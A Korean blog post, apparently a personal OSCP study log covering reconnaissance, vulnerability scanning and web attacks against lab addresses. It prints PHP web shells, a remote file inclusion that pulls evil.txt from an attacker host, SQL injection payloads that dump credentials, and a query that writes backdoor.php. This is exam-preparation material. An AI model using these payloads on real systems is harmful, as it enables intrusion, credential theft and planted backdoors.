누가 동영상을 7시간 반
분량이라고 하였는가?
오늘만 10시간 가까이 본듯하고
문서 350쪽까지 밖에 못 끝냈는데
내가 느린 건가?
아는 부분 건너뛰고
문서도 대충 훑어보면
가능할지 모르지만
제대로 하면 이게
삼일 안에 끝낼 수 있는
분량은 아닌 듯하다.
일단 닷새로 목표 수정.
쿨럭..
[목차]
1. Passive Information Gathering
2. Active Information Gathering
3. Vulnerability Scanning
4. WEB Application Attacks
1. Passive Information Gathering
- whois
- Google Hacking
- NetCraft
- Recon-NG
- Open-Source Code (github / gitlab / sourceFourge)
- Shodan
- Security Headers
- SSL Server Test (Qualys SSL Labs)
- Pastebin
- User Information Gathering (email harvesting / password dumps)
- Social Media Tools (Social-Searcher.com / digi-ninja)
- Stack Overflow
- Information Gathering Frameworks (osintFramework.comb / paterva.com(maltego))
2. Active Information Gathering
DNS Enumeration ($ host / $ dnsrecon / $ dnsenum)
Port Scanning
1) nc
TCP scan
$ nc -nvv -w 1 -z 10.10.10.10 3388-3390
UDP scan
$ nc -nv -u -z -w 1 10.10.10.10 160-162
2) Nmap
돌리기 전 iptables 룰 설정해 스캔 과정에서
얼마나 많은 트래픽이 발생하는지 확인해본다.
$ sudo iptables -I INPUT 1 -s 10.10.10.10 -j ACCEPT
$ sudo iptables -I OUTPUT 1 -d 10.10.10.10 -j ACCEPT
$ sudo iptables -Z
아무 옵션도 주지 않은 기본 nmap(default = 1000 ports) 돌려본 후 iptables 수행하면
$ sudo iptables -vn -L
Chain INPUT (policy ACCEPT 1528 packets, 226K bytes)
pkts bytes target prot opt in out source destination
1263 51264 ACCEPT all -- * * 10.10.10.10 0.0.0.0/0
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 1323 packets, 191K bytes)
pkts bytes target prot opt in out source destination
1314 78300 ACCEPT all -- * * 0.0.0.0/0 10.10.10.10
1000개 포트에 대해 78KB의 트래픽이 발생됨.
-z로 초기화 후 nmap으로 65235 포트 스캔해보고 살펴보면 4MB(4006K)의 트래픽이 발생,
때문에 적절한 옵션을 주어 과부하가 걸리지 않도록 해야 한다.
3) masscan
SMB Enumeration (139 / 445)
NetBIOS over TCP(NBT).
NetBios(TCP 포트 139)와 SMB(TCP 포트 445)
두 개의 별도의 프로토콜이다.
NetBIOS는
로컬 네트워크의 컴퓨터가 통신할 수 있도록 하는
독립적인 세션 계층 프로토콜 및 서비스.
최신 SMB는 NetBIOS 없이도 작동할 수 있지만
이전 버전과의 호환성을 위해 필요하며 종종 함께 사용된다.
1) nbtscan
$ sudo nbtscan -r 10.10.10.10
2. nmap
기본
$ nmap -v -p 139,445 -oG smb_result.txt 10.10.10.10
NSE 검색 후
$ ls -l /usr/share/nmap/scripts/smb*
사용
$ nmap -v -p 139,445 --script=smb-os-discovery 10.10.10.10
NSE 검색 후
$ ls -l /usr/share/nmap/scripts/smb-vuln-*
사용
$ nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 10.10.10.10
3) enum4linux
NFS enumeration (111 / 마운트 가능)
1) nmap
$ nmap -sV -p 111 --script=rpcinfo 10.10.10.10
NSE 검색 후
$ ls -l /usr/share/nmap/scripts/nfs&*
사용 (와일드카드 (*) 사용해 검색 결과로 나온 스크립트 모두 사용 가능)
$ nmap -p 111 --script nfs* 10.10.10.10
마운트 작업
$ mkdir mount
$ sudo mount -o nolock 10.10.10.10:/home ~/mount
$ cd mount/ && ls
들어가 파일 읽는데 권한이 없을 때
UUID 확인 후 로컬에서 동일한 UUID 유저를 만든 뒤 붙으면 됨.
$ useradd same
$ sudo sed -i -e 's/1001/1014/g' /etc/passwd (-i replace the file in place)
SMTP Enumeration
$ nc -nv 10.10.10.10.25
> VRFY root
>
vrfy.py
유저 이름 있나 검색하는 파이썬 스크립트
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect = s.connect(('10.10.10.10',25))
# Receive the banner
banner = s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result
# Close the socket
s.close()
SNMP Enumeration
UDP 기반이라 IP 스푸핑 공격에 취약
취약한 인증 체계를 가지고 있어
정보 및 자격 등을 쉽게 가로챌 수 있다.
1) nmap
$ sudo nmap -sU --open -p 161 10.10.10.10 -oG open-snmp-result.txt
2) onesixtyone
brute force community strings
$ cat > community << EOF
> public
> private
> manager
> EOF
$ for ip in $(seq 1 254); do echo 10.10.10.$ip; done > ips
$ onesixtyone -c community -i ips
3) snmpwalk
windows SNMP Enumeration
Enumerateing the Entire MIB(Management Information Base) tree
$ snmpwalk -c public -v1 -t 10 10.10.10.10
Enumerating Window Users
$ snmpwalk -c public -v1 10.10.10.10 1.3.6.1.4.1.77.1.2.25
Enumerating Windows Processes
$ snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2
Enumerating Open TCP Ports
$ snmpwalk -c public -v1 10.10.10.10 1.3.6.1.2.1.6.13.1.3
Enumerating Installed Software
$ snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2
3. Vulnerabulity Scanning
스캐너의 기본 동작 원리를 이해해야 하고
툴이 없는 경우 수동으로 하는 방법도 익혀둔다.
- Nessus
- nmap
NSE 검색
$ cd /usr/share/nmap/scripts
kali@kali:/usr/share/nmap/scripts$ head -n 5 script.db
Entry { filename = "acarsd-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "address-info.nse", categories = { "default", "safe", } }
Entry { filename = "afp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "afp-ls.nse", categories = { "discovery", "safe", } }
Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", "vuln",
kali@kali:/usr/share/nmap/scripts$ cat script.db | grep '"vuln"\|"exploit"'
Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", "vuln",
Entry { filename = "clamav-exec.nse", categories = { "exploit", "vuln", } }
Entry { filename = "distcc-cve2004-2687.nse", categories = { "exploit", "intrusive", "
Entry { filename = "ftp-proftpd-backdoor.nse", categories = { "exploit", "intrusive",
Entry { filename = "ftp-vsftpd-backdoor.nse", categories = { "exploit", "intrusive", "
...
$ sudo nmap --script vuln 10.10.10.10
4. Web Application Attacks
1) WEB Application Assessment Tools
- Burp Suite
- dirb / dirbuster
$ dirb http://example.com -r -z 10 -r non-recursively / -z 10 밀리second 딜레이
- Nikto
$ nikto -host=http://takudaddy.com -maxtime=30s (limit the scan duration)
- gobuster
2) Exploiting Web-bases Vulnerabilites
- phpmyadmin default credentails
- Cross-site-Scripting (XSS) : straling cookied and session info / content Injection /
- Directory Traversal Vulnurbulities
윈도우 호스트 파일 경로
c:\windows\system32\drivers\etc\hosts
- File inclusion Vulnerabilities (LFI - Local File Inclusion / RFI - Remote file Inclusion)
// LFI
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
LFI Code Execution
"http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts"
<?php
$file = $_GET["file"];
include $file; ?>
=============================================
// RFI
kali@kali:/var/www/html$ cat evil.txt
<?php echo shell_exec($_GET['cmd']); ?>
kali@kali:/var/www/html$ sudo systemctl restart apache2
http://10.10.10.10/menu.php?file=http://10.10.0.4/evil.txt
kali@kali:~$ sudo nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.0.4] from (UNKNOWN) [10.10.10.10] 50324
GET /evil.txt HTTP/1.0
Host: 10.11.0.4
Connection: close
http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt&cmd=ipconfig
- Expand Repertoire
http server 생성 방법 (create HTTP servers with arbitary ports)
$ python -m SimpleHTTPServer 7979
Serving HTTP on 0.0.0.0 port 7979 ...
$ python3 -m http.server 7979 (모듈 이름만 다름)
Serving HTTP on 0.0.0.0 port 7979 (http://0.0.0.0:7979) ...
둘 다 현재 작업중인 경로의 파일이나 디렉터리를 호스팅함
================================================
$ php -S 0.0.0.0:7979
PHP 7.3.8-1 Development Server started at Tue Apr 27 12:59:52 2021
================================================
$ ruby -run -e httpd . -p 7979
$ busybox httpd -f -p 10000
- PHP Wrappper
http://10.10.10.10/menu.php?file=data:text/plain,hello world
http://10.10.10.10/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
3) SQL Injection
- Automating SQL Injection ($ sqlmap)
$ sqlmap -u http://10.10.10.10/debug.php?id=1 -p "whoami" --dbms=mysql --os=shell
- 명령어 샘플
SELECT * FROM users;
SELECT username FROM users WHERE id=1;
+----+------------+--------------+
| id | username | password |
+----+------------+--------------+
| 1 | tom.jones | notunusual |
정상
select * from users where name = 'tom' and password = 'jones';
공격구문
select * from users where name = 'tom' or 1=1;#' and password = 'jones';
select * from users where name = 'tom' or 1=1 LIMIT 1;#
- 수동으로 실험할 경우 Enumerating DB
1) Column Number Enum
http://10.10.10.10/debug.php?id=1 order by 1
http://10.10.10.10/debug.php?id=1 union all select 1, 2, 3
구문을 버프스위트 repeater로 돌린다
2) Extracting Data from DB
http://10.10.10.10/debug.php?id=1 union all select 1, 2, user()
http://10.10.10.10/debug.php?id=1 union all select 1, 2, table_name from
information_schema.tables
http://10.10.10.10/debug.php?id=1 union all select 1, 2, column_name from
information_schema.columns where table_name='users'
http://10.10.10.10/debug.php?id=1 union all select 1, username, password from users
3) sql Injection to Code Exectution
http://10.10.10.10/debug.php?id=1 union all select 1, 2,
load_file('C:/Windows/System32/drivers/etc/hosts')
http://10.10.10.10/debug.php?id=1 union all select 1, 2, "<?php echo
shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
'OSCP > OSCP 공부일지' 카테고리의 다른 글
OSCP Day 5 : BOF2 (Linux) (0) | 2021.04.30 |
---|---|
OSCP Day 4 : BOF (WIN32) (0) | 2021.04.29 |
OSCP Day 2 : Netcat / Socat / Powercat / TCPdump / Bash Scripting (0) | 2021.04.27 |
OSCP 코스 시작 (5) | 2021.04.26 |
OSCP 공략 Cheatsheet (v.02) (0) | 2021.04.19 |